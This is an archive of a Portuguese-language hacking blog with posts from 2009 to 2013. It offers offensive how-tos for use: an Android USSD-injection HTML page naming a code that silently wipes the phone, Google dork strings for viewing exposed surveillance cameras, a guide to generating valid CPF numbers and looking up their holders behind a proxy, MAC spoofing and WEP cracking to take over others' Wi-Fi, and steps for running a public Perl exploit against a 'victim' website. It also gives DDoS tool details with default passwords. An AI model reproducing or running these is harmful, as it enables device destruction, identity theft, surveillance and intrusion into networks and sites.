Manipulando pessoas - Psicologia.

Descubra como podemos manipular uma pessoa através de mensagens subliminares. Entenda e domine esta arte você também!

1012 - O mundo vai acabar?

O B.J trouxe a verdade em primeira mão! O mundo não vai acabar em 21/12/1012. Veja porque!

Deus existe?

Estamos sozinhos no mundo? O que outras pessoas pensam sobre Deus? Como pensam os ateus?!.

Invadindo redes Wifi.

Com a amplificação da transmissão de dados sem fio nem sempre é possível assegurar o sigilo destas informações.

Gerando números de CC

Descubra as regras matemáticas por tráz dos números de cartões de crédito!

Mostrando postagens com marcador Hacking. Mostrar todas as postagens
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quarta-feira, 30 de janeiro de 2013

Exploit USSD - O Android em risco



Olá galera do B.J. Já faz um longo tempo que infelizmente não tenho postado... Mais aqui estou, no meu vício, na minha paixão. Agradeço a audiência do Blog, e é por vocês que eu sempre volto com gosto por compartilhar.

Vamos direto ao ponto. No final do ano passado andei estudando um pouco mais dos assuntos de vulnerabilidade e descobri que recentemente existe uma falha no S.O Android, que permiti a execução de códigos USSD sem o conhecimento do próprio proprietário do aparelho celular.
Códigos USSD são funções pré-configuradas que podem ser acessadas através do dígito de um determinado código no discador de um aparelho celular. Um exemplo é o código USSD que exibe o numero EMEI do aparelho, bastando digitar *#06# e pronto.


De olho no problema

A falha existe como consequência da internet cada vez mais presente nos aparelhos móveis, pois pode-se inserir em uma página um código iframe que automatiza a discagem de um determinado numero no aparelho... E se esse numero for, por exemplo, um código USSD? E se esse mesmo código fosse algo além da exibição de um simples IMEI, como por exemplo um código de formatação do aparelho e destruição do cartão de memória? Ai sim temos um problema!

Vejamos então o código:




Código:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
   <head>
   <title> Bug Auto Discagem - Teste </title>
   </head>
   <frameset>
      <frame src="tel:*#06#">
   </frameset>
</html>




O código acima faria com que ao visitar determinada pagina, automaticamente fosse exibido o endereço EMEI do aparelho... Mas no lugar do código EMEI (em destaque de verde, introduzido no código HTML acima), poderíamos ter um USSD mais grave, como por exemplo o *2767*3855# que promove justamente a formatação imediata do aparelho em segundo plano, ou seja, sem o conhecimento do proprietário do mesmo.

E assim temos a falha de segurança, a Injeção de códigos USSD.


O assunto é bem mais complexo, mas acho que já abordei mais do poderia sobre o caso... Então infelizmente tenho que ficar por aqui, no entanto atendo na área de contato do Blog (sempre atendo), os demais interessados por favor entrem em contato.

Um forte abraco, e que esse ano de 2013 possamos evoluir e aprender cada vez mais.
A vida segue.

terça-feira, 24 de julho de 2012

Revista GH - Hacker espião

William Leão - Integrante do GH Club, coordenou a 
Incógnitos e a comunidade GH em momentos de crise.

Essa madrugada tive uma conversa com um fã muito especial aqui do B.J. O Juan. Em nossa conversa citei a Revista GH, que eu lancei na internet em 2009 e ainda hoje tem sido muito lida.
Resolvi trazer a revista aqui pra vocês do B.J. Os assuntos que ela aborda são:


  • Escutas telefônicas
  • Abrir fechaduras
  • Criando sua própria rede telefônica
  • Trojan com uma linha de comando
  • NetCat - tutorial
  • Curiosidades e muito mais



SE TIVER PROBLEMAS COM O LINK ACIMA, VOCÊ PODE BAIXAR AQUI:  http://www.4shared.com/zip/4k2kBTZ-/revista_01__1_.html?

A revista está em formato PDF, se você ainda não tem um leitor PDF será necessário baixar um.
É gratuita e vale a pena ler.

Um forte abraço aos leitores.

quinta-feira, 12 de janeiro de 2012

Espionagem de câmeras online



Dias atrás eu estava precisando localizar um arquivo específico e optei pelo mestre Google. A busca estava um tanto difícil até que lembrei das strings de busca do Google, que a muito tempo eram usadas em uma espécie de ataque intitulado "Google Hacking".

Em um breve resumo, as strings de busca do Google são palavras chaves utilizadas para focar a busca em determinado arquivo, aplicativo, página, documento, etc, etc.

Tive a idéia de fazer um pequeno teste juntando as strings com palavras-chaves de câmeras de monitoramento online que achei na internet, e... Bingo!
Achei divertido dar uma olhada em algumas câmeras e diferentes locais (comércios, fábricas, cidades, residências, etc.) e resolvi postar aqui no Blog.

Um exemplo é essa câmera que mostra o monitoramento dos funcionários de uma Charutaria:


Este outro link nos leva a uma casa no Condado da Pensilvânia (veja o final da página):


Já este outro link encontrado com strings nos leva ao Japão, onde podemos controlar uma câmera de vigilância de Iates:




A seguir vocês ficam com uma lista de strings montadas. Basta colar no Google e clicar em pesquisar.


intitle:”my webcamXP server!” inurl:”:8080″

intitle:"active webcam page"

inurl:”ViewerFrame?Mode=”


inurl:”MultiCameraFrame?Mode=”


intitle:”EvoCam” inurl:”webcam.html”

intitle:”Live NetSnap Cam-Server feed”

intitle:”Live View / – AXIS 206M”

intitle:”Live View / – AXIS 206W”

intitle:”Live View / – AXIS 210″

inurl:indexFrame.shtml Axis

inurl:”ViewerFrame?Mode=”

inurl:”MultiCameraFrame?Mode=Motion”

intitle:start inurl:cgistart

intitle:”WJ-NT104 Main Page”

intext:”MOBOTIX M1″ intext:”Open Menu”

intext:”MOBOTIX M10″ intext:”Open Menu”

intext:”MOBOTIX D10″ intext:”Open Menu”

intitle:snc-z20 inurl:home/

intitle:snc-cs3 inurl:home/

intitle:snc-rz30 inurl:home/

intitle:”sony network camera snc-p1″

intitle:”sony network camera snc-m1″

site:.viewnetcam.com -www.viewnetcam.com

intitle:”Toshiba Network Camera” user login

intitle:”netcam live image”

intitle:”i-Catcher Console – Web Monitor”

inurl:/home/home

intitle:flexwatch intext:”Copyright by Seyeon TECH Co”

intitle:”snc-rz30 home”

intitle: Network camera 

inurl:”ViewerFrame?Mode=”-Live 

inurl:”viewerframe?mode=motion”-Live webcam



Por hoje é só pessoal. Um forte abraço.
A vida segue!

domingo, 20 de novembro de 2011

Captura de CPF - Hacking


Na postagem anterior eu apresentei um aplicativo capaz de gerar números de CPF, CNPJ e Título Eleitoral. Suas aplicações são ilimitadas aos criativos.

Nesta postagem irei mostrar como eu (ou qualquer outra pessoa) poderia utilizar a função de gerar números de CPF's válidos para obter um número possível e posteriormente "rastrear" o títular deste CPF.
O primeiro passo seria fazer o download do aplicativo caso eu ainda não tivesse ele no meu computador. Obtêm-se 
clicando aqui.
O aplicativo esta compactado (é necessário ter o Winrar).


Pronto, agora posso rodar o aplicativo:



Nesta tela inicial, digito 1 (gerar números de CPF) e teclo enter. Uma nova tela é apresentada:


Agora devo escolher quantos números de CPF's eu desejo que o programa calcule pra mim:



Para encontrar o dono do número do CPF, devo anotar o número e acessar este link do site da receita federal: http://www.receita.fazenda.gov.br/aplicacoes/atcta/cpf/consultapublica.asp

Nota: é claro que uma série de consultas providas de um determinado computador pode gerar suspeitas. Por motivos de segurança o site armazena dados do computador que acessou o servidor.
Mas até mesmo isso pode ser burlado, usando, por exemplo, um proxy qualquer... Um proxy online! Proxys são uma espécie de "camuflagem", eles permitem uma navegação anônima e alguns tem até mesmo a função de "simular", permitindo que um computador Brasileiro se passe por Canadense, Americano, Asiático...
É um tema realmente interessante, vou ficar devendo uma postagem sobre o assunto. O meu proxy online predileto é o https://getus.in, por ser simples, prático e eficiente!
Nesse caso eu precisaria apenas inserir a URL do site da Receita Federal no campo especificado e clicar em "Go", veja:




Agora posso seguir (invisível) com o site da receita federal:



Após inserir o número de CPF, digitar o captcha (letras de confirmação) e clicar em "consultar" eu obterei o resultado desejado:



Simples assim! Mas lembre-se: utilizar qualquer tipo de documento alheio sem autorização do títular é crime e pode trazer sérios problemas (nada que um proxy não resolva, rsrs).

Obs.: nem sempre dá pra encontrar um número logo de cara. O gerador faz cálculos com possibilidades infinitas e muitas vezes o número gerado ainda não foi cadastrado.

Por hoje é só! A vida segue. Um forte abraço.

quarta-feira, 16 de novembro de 2011

Gerador de documentos - Programação


Olá leitores! O que eu trago pra vocês hoje é um gerador de CPF, Título Eleitoral e CNPJ. Esse gerador foi escrito em linguagem C++.
Ele se baseia em regras matemáticas utilizadas na criação destes documentos. Tomando conhecimento destas regras (assim como, por exemplo, tomamos conhecimento das regras de números de cartões de crédito em uma outra postagem aqui do B.J.) podemos gerar um código com a função de calcular e retornar o resultado perfeito e válido!


Nessa postagem vou disponibilizar o aplicativo para download e análise. O código eu só irei ceder á aqueles que realmente estão interessados... Se você estiver, acesse a área de contato aqui do Blog do Jinho e envie o seu pedido.


No próximo artigo vou mostrar como aplicativos desse tipo (esse em especial) podem ajudar no roubo de identidades (como o CPF, que no caso iremos estudar).


Clique para fazer o Download do aplicativo.




Um forte abraço. A vida segue.

quinta-feira, 7 de outubro de 2010

Clonagem de computadores - Lógica + tutorial



  • Qual seria a real utilidade de clonar um computador?


Tomemos como exemplo a clonagem dos telefones móveis. A clonagem do telefone celular acontecia simples e logicamente porque era possível, assim, fazer ligações e utilizar serviços que, mais tarde, o dono do celular original teria de pagar.


Vamos utilizar a lógica desse exemplo: o telefone celular clonado usufruía dos mais variados serviços se passando pelo telefone celular original.



Agora podemos concluir que, clonando um determinado computador podemos nos utilizar dos serviços que ele dispõe.



No exemplo deste tutorial iremos nos aproveitar da tecnologia Wireless para utilizar a Internet de outro computador – em outras palavras, iremos roubar o sinal.



Para que a nossa missão seja bem sucedida devemos saber que todas as placas de rede (são hardwares que os computadores utilizam para conectar-se á Internet) possuem uma identificação única, como se fosse a “impressão digital” do computador, e essa identificação é chamada de ENDEREÇO MAC (ou ENDEREÇO FÍSICO). Isso serve para que cada placa possa ser identificada quando deseja se comunicar com outros computadores.



Os fabricantes de placas de rede atribuem um endereço MAC para cada placa fabricada; este endereço não pode ser igual ao endereço de nenhuma outra placa!




Veja um exemplo de endereço MAC (é o meu, mas, por favor, não me clonem):



MAC Adress: 00-16-6F-81-4B-1E





Para consultar o endereço MAC do seu computador, você deve abrir o prompt de comando [iniciar > executar > CMD] e digitar IPCONFIG /ALL.



A imagem abaixo ilustra onde o seu endereço MAC deve aparecer:



Até aqui procuramos saber do que se trata um MAC, e já podemos dizer que se trata nada mais, nada menos, que a identificação que um computador usa para se apresentar na Internet.




  • Em outro exemplo teórico, imagine que você chega a uma determinada festa e se apresenta dizendo seu nome na portaria. Se o seu nome estiver na lista, você tem acesso livre á festa, se não... L


Agora você deve saber da boa notícia. O seu endereço MAC pode ser modificado manualmente.



Creio que neste ponto, você, caro amigo (a) e leitor (a), já saiba o que pode ser feito – embora não deva.



Então, mãos á obra!





Você precisa ter o endereço MAC de um computador que tenha acesso a Internet WI-FI (prometo escrever um tutorial sobre captura de MAC. Por hora continuemos). Depois disso iremos colocar na sua placa de rede o mesmo endereço MAC do computador que possui tal acesso, e, de tal forma, se passar por ele solicitando acesso na rede (vamos entrar na festa). Simples assim. Veja:


Primeiramente vá a conexões de rede e identifique sua conexão de rede sem fio.




No ícone da conexão, clique com o lado direito do mouse e selecione “propriedades”. Uma nova janela será aberta e você deve clicar em configurar:




Uma vez clicado em configurar, como explicado na imagem anterior, mais uma janela será apresentada e nesta você selecionar a guia “avançado”. Logo abaixo você pode identificar a opção MAC Adress, e campo ao lado deve colocar o novo valor (novo MAC. No seu caso, o MAC capturado da maquina que possui acesso a uma rede WI-FI). Veja a imagem:



Feito isto, basta clicar em OK e solicitar conexão (normalmente, do mesmo modo que naturalmente você faria para se conectar com uma rede Wireless) na rede em que o computador possui permissão. SIMPLES ASSIM! J









quarta-feira, 23 de junho de 2010

Invadindo redes WI-FI – Quebra de chave WEP

Se você possui um computador portátil (ou mesmo um computador de mesa com adaptador Wireless) e deseja utilizar a Internet, deve escolher com cuidado o serviço a ser utilizado, sempre levando em conta a qualidade do sinal captado na sua região. Isto se você for usar algum tipo de serviço porcaria disponibilizado pelas operadoras (a chamada 3G, por exemplo). Outra opção são as famosas redes WI-FI.

Em alguns locais – um Cyber Café por exemplo – o sinal WI-FI é disponibilizado aberta e gratuitamente; já em outros casos tratam-se de redes privadas e/ou sujeito a cobrança para a utilização do serviço, sendo assim é necessário saber algum tipo de autenticação, a tal da chave WEP.


Claro que a qualidade de uma conexão WI-FI também depende muito da intensidade do sinal captado.
Mas espere, suponho que você ainda não tenha uma certa noção sobre o que é WI-FI (zero pra você!); então vejamos no tópico a seguir.


  • O que é uma rede WI-FI?

Podemos dizer que quando um computador é capaz de compartilhar sua conexão com a Internet através de ondas eletromagnéticas, ele torna-se um A.P (Access Point – Ponto de Acesso) isso é possível através de um roteador Wireless. Todos os computadores que possuem permissão para entrar nesta rede (e estão ao alcance dela) podem desfrutar do serviço de banda oferecido pelo mesmo – como em uma Lan House.

Em outras palavras, qualquer computador com permissão de conexão nesta rede poderá usar a Internet.

As redes WI-FI utilizam ondas eletromagnéticas na faixa aberta e licenciada pela ANATEL. Atualmente os padrões mais difundidos são 802.11b/g de 2.4 GHZ e o 802.11a de 5 GHZ.
Neste ponto podemos notar alguns problemas, tais como interferência (as vezes em telefones sem fio e outras redes WI-FI).



Existem muitos tipos de protocolos para segurança e proteção de redes WI-FI (iremos trabalhar com o WEP).


Bom, agora sabemos o que é uma WI-FI. Para podermos captar, identificar e conectar com um Access Point (ponto de acesso) precisamos ter um computador com uma placa ou adaptador Wireless.No tópico seguinte iremos quebrar a segurança de um rede WI-FI, ou seja, obter a chave WEP e conectar na rede, assim poderemos acessar a Internet através daquela máquina remota.
Existem muitos aplicativos que possibilitam – e facilitam – a quebra de chaves WEP e estão disponíveis na Internet. A grande maioria dos aplicativos do gênero, está disponível para versões Linux, no entanto em nossa matéria iremos trabalhar com o Aircrack e sua família de aplicativos (o AirDump, por exemplo), que é uma versão capaz de trabalhar no Windows (bem como no Linux).


Você pode baixar os aplicativos necessários clicando aqui.


Após o Download siga atentamente os passos a seguir:

1 – Verifique se a placa de rede que você está utilizando é capaz de operar em modo promíscuo (modo monitor). Pois é necessário que ela seja capaz de capturar e gerar pacotes, o que nem todas as placas de redes fazem.

Dica: use chipsets Atheros. Eu costumo me utilizar da placa de rede Intel Pro Wireless 3954 a/b/g.

2 – Agora será necessário capturar o tráfego da rede que você deseja invadir, para isso será necessário utilizar o AirDump.

Obs.: Caso o tráfego da rede seja baixo, você pode gerar tráfego com o AirReplay.

3 – Agora está tudo pronto! Abra o AirCrack e em seguida rode o arquivo com o tráfego que foi capturado com o AirDump. Ele irá ler os pacotes e decodificar a chave WEP. Logo após ela será apresentada em caracteres hexadecimais.

Espero que tenham entendido. Qualquer dúvida deixem comentários.
Obrigado, até a próxima. A vida segue.

sexta-feira, 27 de novembro de 2009

Imagem que exibe IP - Dinâmica criada com php.

Tudo bem galera?

Hoje vou falar de um assunto muito interessante, que é a criação de imagens com php. Para complementar o tutorial, vou ensinar a criar até mesmo aquelas imagens que exibem o IP do usuário.
Me recordo que certo dia eu havia postado na G.H (comunidade) o link de uma ótima tool para criação de banners 2.0. E meu amigo, Rodrigo Radler, me perguntou se eu sabia como eram criadas essas ferramentas; com vergonha respondi que não!

Então estava eu, hoje, na Web, procurando uma lista de variáveis globais, e sem querer me deparei com esse tipo source que trata de imagens (nada a ver com o que eu estava procurando... Só mais tarde eu associei os dois, resultando no código que retorna o número de IP - verão a seguir).
Mas afinal, qual apaixonado por WebDesign, ou mesmo apenas curioso, nunca se perguntou como são feitas essas ferramentas online que geram banners? De fato é interessante... Você coloca o nome... Clica em gerar imagem... E pronto! Agora você pode salvar no seu computador.
Eu respondo (sempre):
- Podem ser feitas em php!
Não vou dar tudo na mão, apenas irei mostrar como podemos criar uma imagem a partir de um código php. Daí pra frente concluo que você é inteligente o bastante para analisar a lógica necessária para tal criação.


Colocando a mão na massa!


Primeiramente vamos criar uma imagem GIF, como exemplo.
No código abaixo, criamos uma imagem com a palavra 'CH - cmm=44793822'.

O código:
__________________________________

<?php
header("Content-type: image/gif"); //Informa ao browser que o arquivo é uma imagem no formato GIF

$imagem = ImageCreate(150,40); //Cria uma imagem com as dimensões 100x20 - você pode modificar

$vermelho = ImageColorAllocate($imagem, 255, 0, 0); //Cria o segundo plano da imagem e o configura para vermelho
$branco = ImageColorAllocate($imagem, 255, 255, 255); //Cria a cor de primeiro plano da imagem e configura-a para branco

ImageString($imagem, 3, 3, 3, "CH - cmm=44793822", $branco); //Imprime na imagem o texto CH - cmm=44793822 na cor branca que esta na variável $branco

ImageGif($imagem); //Converte a imagem para um GIF e a envia para o browser

ImageDestroy($imagem); //Destrói a memória alocada para a construção da imagem GIF
?>





EXEMPLO:


__________________________________

Já está todo comentado, creio eu que seja o bastante para sua compreensão.
Esta imagem será exibida em seu navegador, mas poderíamos ter indicado que ela deveria ser salva em um arquivo, como no exemplo a seguir:

O código:

__________________________________

<?php
$arquivo = "imagem1.gif";

$imagem = ImageCreate(150,40);

$vermelho = ImageColorAllocate($imagem, 255, 0, 0);
$branco = ImageColorAllocate($imagem, 255, 255, 255);

ImageString($imagem, 3, 3, 3, "ConhecimentoHacker", $branco);
ImageGif($imagem, $arquivo);

ImageDestroy($imagem);

echo "A imagem foi salva no arquivo $arquivo.";
?>


EXEMPLO:
http://enviodeemail.justfree.com/php[2].php

Quando clicamos no link acima, é criada a seguinte imagem no servidor (como havíamos programado acima, ela terá o nome de imagem1.gif):


__________________________________

No exemplo acima, retiramos o comando header(), já que a imagem vai ser 'salva' e não 'lida'. Também modificamos o comando ImageGif, para que ele salve a imagem no $arquivo.



Se você tiver entendido e praticado os exercícios acima, quer dizer que já adquiriu uma noção básica do que estamos fazendo.

Agora ficamos com as questões: "como essa imagem pode retornar um IP? Uma imagem dinâmica? Como isso é possível?".
Oras, estamos trabalhando com uma linguagem dinâmica, não é mesmo? Por que não criar uma imagem dinâmica? É possível sim!


O código:
__________________________________

<?php
$img_number = imagecreate(275,25);
$backcolor = imagecolorallocate($img_number,102,102,153);
$textcolor = imagecolorallocate($img_number,255,255,255);

imagefill($img_number,0,0,$backcolor);
$number = " Seu IP é $_SERVER[REMOTE_ADDR]";//Este é o responsável pela exibição do IP

Imagestring($img_number,10,5,5,$number,$textcolor);

header("Content-type: image/jpeg");
imagejpeg($img_number);
?>


EXEMPLO:

__________________________________

Comentei o código inteiro, e creio que já tenham entendido. Só para tirar dúvidas... O IP é exibido ali, onde usamos a global '$_SERVER[REMOTE_ADDR]'. Também poderíamos exibir o host, data, hora, localização, etc. Tudo uma questão de mudar a global (eu estava justamente procurando uma lista delas :-D).

Forte abraço galera. Qualquer dúvida, sugestão ou crítica, deixem comentários.
Até a próxima matéria.

quinta-feira, 29 de outubro de 2009

Conexão reversa com o Windows

A muito tempo atrás, postei no YouTube um vídeo sobre conexão reversa com o Windows.
Me assustei ao voltar no YouTube e constatar que o vídeo foi assistido mais de 4.000 vezes.

Então resolvi trazer aqui pra galera.

P.S: é da época em que eu fui redator do site Conspiração Hacker... Nele também aparece a GH (saudades).


quarta-feira, 28 de outubro de 2009

Ownando Websites: como usar exploits em Perl?

Bom, hoje vou instrui-los no uso de exploits em Perl.

Primeiramente você precisa ter o Active Perl em sua máquina, e você pode baixa-lo aqui:

http://baixaki.ig.com.br/download/ActivePerl.htm

Depois de ter feito o Download, a instalação é simples, não mude nada!, proceda de forma padrão aceitando as caixas que se impõem!
Agora com o ActivePerl já instalado, você precisa encontrar o diretório onde ele reside, no meu caso - e no seu caso, se você não alterou o local no momento da instalação -, é: C:/Perl.
Você deve acessar o diretório BIN ficando assim sua trajetória: C:/Perl/bin.

Dentro da pasta bin você deve colocar seu exploit.

Agora você deve estar se perguntando: "mais qual exploit?"
Para essa matéria/tutorial vou usar um exploit bastante conhecido "livecms33.pl" como exemplo. Vocês podem ver o script dele por completo em:


http://www.milw0rm.com/exploits/4082

Cole o código no Bloco de Notas e salve como: livecms33.pl.
Depois de ter salvo ele, copie e cole na pasta bin do Perl (lembra que encontramos ela lá em cima? Agora a pouco em: C:/Perl/bin).


Agora vá até o prompt de comando e execute o exploit em sua vítima, para isso vamos seguir a seguinte síntese:

C:\perl\bin\phpnuke.pl


Devemos executar isso, que foi citado acima, seguido do site da vítima, exemplo:C:\perl\bin\phpnuke.pl site_a_ser_exploitado.com.br/patch

Neste exploit, em especial, devemos usar o endereço da vítima sem o "HTTP://". Essa instrução se encontra na linha 61:

elsif ($host =~ /http:\/\//){print"\n\n [-] Don't use http:// in host\n";exit( 0 );}

Isso nos lembra um fator importantissímo, que é a leitura dos exploits antes de usá-los.
Na leitura você pode encontrar instruções e evitar erros, bem como também pode encontrar erros propositais (colocados pelo próprio coder, afim de evitar que qualquer um sem conhecimento possa executar o mesmo).
Existem exploits que necessitam de configurações; mais um motivo para ler o código antes de compilar no prompt.


Bom galera, no momento é só isso. Na próxima matéria sobre exploits irei dar uma introdução sobre a criação destes.

Forte abraço, obrigado pela visita!

terça-feira, 27 de outubro de 2009

Ataques de negação de serviço (DoS)

Um dia desses um membro da comunidade Conhecimento Hacker requisitou métodos para derrubar um GAME. Isso me levou a lembrar do velho, querido, amado, descarado e infalível, ataque DoS.
Se existe uma técnica 100% eficiente quando se trata de derrubar servidores (quaisquer tipos de servidores, não só de GAMES), certamente esta se chama: negação de Serviço (Denial of Service, DoS).

O que vem a ser um DoS?

Estes ataques são famosos no âmbito da comunidade de segurança de redes. O envio de uma quantidade indiscriminada de pacotes a um determinado servidor, causa a paralisia de seus serviços.
Deixando a linguagem técnica de lado, analisemos um exemplo prático: Imagine que você, de algum modo, possui controle sobre uma grande quantidade de telefones, e resolve fazer com que todos estes telefones façam ligações ao mesmo tempo. Resultado: a operadora não conseguirá dar conta de todos os telefonemas, causando um congestionamento no serviço, e, por conseqüência, nenhuma ligação poderá ser completada.Esses casos são bem comuns em datas comemorativas, tais como natal e virada de ano.


Até aqui falamos sobre telefones, mas o DoS é praticado usando um único computador (“jura?”). Os ataques que utilizam mais de 1 computador são os chamados DDoS (Distributed Denial of Service), que nada mais é, do que se não, um ataque de negação de serviço em grande escala. Ou seja, máquinas são invadidas e comprometidas, assim se obtém acesso root (super usuário) e são instalados clientes e daemons; que por sua vez são as aplicações que possibilitam o ataque – veremos mais adiante.
Fazendo uma analogia simples, o atacante, através de máquinas controladas por ele, envia uma grande quantidade de pacotes a um determinado servidor, o alvo (como você sabia que eu ia dizer isso?). Desse modo o servidor atacado não consegue responder por todos os pacotes, e passa a não prestar serviço, ficando incomunicável sem quaisquer outros meios de conectividade (claro que ele ainda por optar por Palm’s, celulares, sinalizadores, sinais de fumaça, pombo correio, etecétera).


Familiarizando com a técnica:




Na época da comunidade GH, desenhei essa estrutura, e vamos usá-la para imaginar o ataque.

Conheçamos os personagens:

Atacante = É, obviamente, aquele que aplica o ataque (juro que não sou eu!).

Master = Esta é a única máquina que o atacante terá acesso direto. Ele enviará os comandos ao Master, que por sua vez enviará os comandos aos Agentes (veremos a seguir).

Agente = Consolida o ataque. Estes são os que recebem ordens de ataque do Master, que as receberá do atacante; assim enviando os pacotes ao(s) servidor(es) da vítima.

Existem mais dois personagens que não estão na figura, mais fazem parte de todo o processo:

Cliente = O cliente é o aplicativo que se encontra instalado no Master e que efetivamente controla os ataques enviando comandos aos daemons.

Daemon = Este é um processo rodado no agente e é responsável por executar os comandos do cliente.

Como pudemos analisar na imagem, o atacante, após comprometer as máquinas, escolhe a que deve ser o Master e os agentes. O Master geralmente é aquela máquina que é pouco acessada e pouco monitorada, já o agente tem de ser uma máquina conectada a Internet por link relativamente rápido, muito comum em Universidades, escolas de informática e provedores de acesso.Depois de feita a escolha, o atacante deve instalar um cliente em seu Master, e os daemons em seus agentes.Quando o daemon se encontra ativo, ele manda uma mensagem de “Hello” para o Master, que contém a lista de IP’s de todos os agentes.A comunicação entre o Atacante e o Master, depende muito da ferramenta escolhida por ele. Algumas se comunicam por portas TCP, UDP, rsh e até telnet (mais adiante veremos algumas ferramentas e suas propriedades).

As ferramentas mais conceituadas nos dias de hoje são:

1. Fapi (1998)

2. TFN (ago/99)

3. TFN2K(dez/99)

4. Blitznet

5. Stacheldraht(set/99)

6. Trank3. Trin00 (jun/99)

7. Shaft

9. Trin00 win version

Em uma pesquisa pela Wikipédia encontrei explicações de algumas de maior valor:

TRIN00 O Trin00 é uma ferramenta distribuída usada para lançar ataques DoScoordenados, especificamente, ataques do tipo UDP flood.Para maiores informações a respeito de ataques deste tipo, veja em: http://www.cert.org/advisories/CA-96.01.UDP_service_denial.html Uma rede Trinoo é composta por um número pequeno de masters e um grande número de agentes.O controle remoto do master Trin00 é feito através de uma conexão TCP via porta 27665/tcp. Após conectar, o atacante deve fornecer uma senha (tipicamente, "betaalmostdone").A comunicação entre o master Trin00e os agentes é feita via pacotes UDP na porta 27444/udpou via pacotes TCP na porta 1524/tcp. A senha padrão para usar os comandos é "l44adsl" e só comandos que contêm a substring "l44" serão processados.A comunicação entre os agentes e o master Trin00 também é através de pacotes UDP, mas na porta 31335/udp.Quando um daemon é inicializado, ele anuncia a sua disponibilidade enviando uma mensagem ("*HELLO*") ao master,o qual mantém uma lista dos IPs das máquinas agentes ativas, que ele controla.Tipicamente, a aplicação cliente que roda no master tem sido encontrado sob o nome de master.c, enquanto que os daemons do Trin00 instalados em máquinas comprometidas têm sido encontrados com uma variedade de nomes, dentre eles: ns, http, rpc.trinoo, rpc.listen, trinix, etc. Tanto o programa cliente (que roda no master) quanto o daemon (que roda no agente) podem ser inicializados sem privilégios de usuário root.

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TFN – TRIBE FLOOD NETWORK O TFN é uma ferramenta distribuída usada para lançar ataques DoS coordenados a uma ou mais máquinas vítimas, a partir de várias máquinas comprometidas. Além de serem capazes de gerar ataques do tipo UDP flood como o Trin00, uma rede TFN pode gerar ataques do tipo SYN flood, ICMP flood e Smurf/Fraggle. Maiores informações a respeito deste tipo de ataques podem ser encontradas em:http://www.cert.org/advisories/CA-96.21.tcp_syn_flooding.html http://www.cert.org/advisories/CA-98.01.smurf.html Neste tipo de ataque é possível forjar o endereço origem dos pacotes lançados às vítimas, o que dificulta qualquer processo de identificação do atacante.No caso específico de se fazer uso do ataque Smurf/Fraggle para atingir a(s) vítima(s), o flood de pacotes é enviado às chamadas "redes intermediárias" que consolidarão o ataque, não diretamente às vítimas.O controle remoto de uma master TFN é realizado através de comandos de linha executados pelo programa cliente. A conexão entre o atacante e o cliente pode ser realizada usando qualquer um dos métodos de conexão conhecidos, tais como: rsh, telnet, etc. Não é necessária nenhuma senha para executar o cliente, no entanto, é indispensável a lista dos IPs das máquinas que têm os daemons instalados. Sabe-se que algumas versões da aplicação cliente usam criptografia (Blowfish) para ocultar o conteúdo desta lista.A comunicação entre o cliente TFN e os daemons é feita via pacotes ICMP_ECHOREPLY.Não existe comunicação TCP ou UDP entre eles.Tanto a aplicação cliente (comumente encontrada sob o nome de tribe) como os processos daemons instalados nas máquinas agentes (comumente encontrados sob o nome de td), devem ser executados com privilégios de usuário root.

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STACHELDRAHT Baseado no código do TFN, o Stacheldraht é outra das ferramentas distribuídas usadas para lançar ataques DoS coordenados a uma ou mais máquinas vítimas, a partir de várias máquinas comprometidas. Como sua predecessora TFN, ela também é capaz de gerar ataques DoS do tipo UDP flood, TCP flood, ICMP flood e Smurf/fraggle.Funcionalmente, o Stacheldraht combina basicamente características das ferramentas Trin00 e TFN, mas adiciona alguns aspectos, tais como: criptografia da comunicação entre o atacante e o master;e atualização automática dos agentes.A idéia de criptografia da comunicação entre o atacante e o master surgiu exatamente porque uma das deficiências encontradas na ferramenta TFN era que a conexão entre atacante e master era completamente desprotegida, obviamente sujeita a ataques TCP conhecidos (hijacking, por exemplo). O Stacheldraht lida com este problema incluindo um utilitário "telnet criptografado" na distribuição do código.A atualização dos binários dos daemons instalados nos agentes pode ser realizada instruindo o daemon a apagar a sua própria imagem e substituí-la pó ruma nova cópia (solaris ou linux). Essa atualização é realizada via serviço rpc (514/tcp).Uma rede Stacheldraht é composta por um pequeno número de master sonde rodam os programas clientes (comumente encontrados sob o nome de mserv, e um grande número de agentes, onde rodam os processos daemons (comumente encontrados sob o nome de leaf ou td). Todos eles devem ser executados com privilégios de root). Como foi mencionado anteriormente, o controle remoto de um master Stacheldraht é feito através de um utilitário "telnet criptografado" que usa criptografia simétrica para proteger as informações que trafegam até o master. Este utilitário se conecta em uma porta TCP,comumente na porta 16660/tcp.
Diferencialmente do que ocorre com o Trinoo, que utiliza pacotes UDP na comunicação entre os masters e os agentes, e do TFN, que utiliza apenas pacotes ICMP, o Stacheldraht utiliza pacotes TCP (porta padrão 65000/tcp) e ICMP (ICMP_ECHOREPLY).TFN2K - TRIBLE FLOOD NETWORK 2000 A ferramenta Tribe Flood Network 2000, mais conhecida como TFN2K, é mais uma ferramenta de ataque DoS distribuída. O TFN2K é considerado uma versão sofisticada do seu predecessor TFN. Ambas ferramentas foram escritas pelo mesmo autor, Mixter.A seguir são mencionadas algumas características da ferramenta:
Da mesma forma que ocorre no TFN, as vítimas podem ser atingidas por ataques do tipo UDP flood, TCP flood, ICMP flood ou Smurf/fraggle. O daemon pode ser instruído para alternar aleatoriamente entre estes quatro tipos de ataque. O controle remoto do master é realizado através de comandos via pacotes TCP, UDP, ICMP ou os três de modo aleatório. Estes pacotes são criptografados usando o algoritmo CAST.Deste modo, a filtragem de pacotes ou qualquer outro mecanismo passivo, torna-se impraticável e ineficiente. Diferentemente do TFN, esta ferramenta é completamente "silenciosa", isto é, não existe confirmação (ACK) da recepção dos comandos, a comunicação de controle é unidirecional. Ao invés disso, o cliente envia 20 vezes cada comando confiando em que, ao menos uma vez, o comando chegue com sucesso. O master pode utilizar um endereço IP forjado.

Até a próxima galera! Obrigado pela visita.


quarta-feira, 26 de agosto de 2009

Fraude de email's - Via Telnet [avançado]

Olha eu aqui de novo galera, trazendo mais um de meus tópicos da extinta GH. Ultimamente eu ando querendo reviver os bons tempos em que eu vivia meio a Hackers de todos os gêneros - "Se um dia contarem a minha história; que digam que eu andei com gigantes..." (Tróia) -, na verdade essa seção já está tão longa que deveria se chamar Retrospecto Gleison Hacking.
Já falando sobre o assunto; o perigo de receber um falso email em nome de um determinado Banco é constante. Esse pode não só ser supostamente enviado por um Banco como também por outras entidades.

A grande questão é: como isso acontece?

